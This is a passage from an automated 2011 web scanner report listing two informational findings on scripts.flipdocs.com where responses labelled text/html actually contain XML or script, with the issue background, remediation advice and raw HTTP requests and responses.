HTTP/1.1 200 OK
Cache-Control: private
Connection: close
Date: Mon, 24 Oct 2011 00:54:49 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 922

<div style="position:absolute;top:0px;left:0px;width:600px;height:300px;z-index:2;" ></div><div style="position:absolute;top:5;left:70; width:300px;height:36px;z-index:3; "><h2>PDF Conversion Starte
...[SNIP]...

6. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


6.1. http://scripts.flipdocs.com/scripts/bookimages.asp  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://scripts.flipdocs.com
Path:   /scripts/bookimages.asp

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain XML.

Request

GET /scripts/bookimages.asp?ID=10003141_341139&RAND=39708 HTTP/1.1
Host: scripts.flipdocs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipbookserver.com/flash/looploader.swf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=3D6FECC641E06D75787647AC1F3C2D8E

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:41:41 GMT
Content-Length: 4153


   <FlippingBook>
   <width>1152</width>
   <height>720</height>
   <totalpages>26</totalpages>    
   <pages><page>http://www.flipbookserver.com/Books/10003141/341139/page_0001.swf</page><page>http://www.flipbo
...[SNIP]...

6.2. http://scripts.flipdocs.com/scripts/gethostdomain.aspx  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://scripts.flipdocs.com
Path:   /scripts/gethostdomain.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /scripts/gethostdomain.aspx?ID=10003141_341139&RAND=56782 HTTP/1.1
Host: scripts.flipdocs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipbookserver.com/flash/looploader.swf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=3D6FECC641E06D75787647AC1F3C2D8E

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:41:38 GMT
Content-Length: 49

mHost=http://www.flipbookserver.com&mVarsLoaded=1

Report generated by XSS.CX at Sun Oct 23 20:07:53 CDT 2011.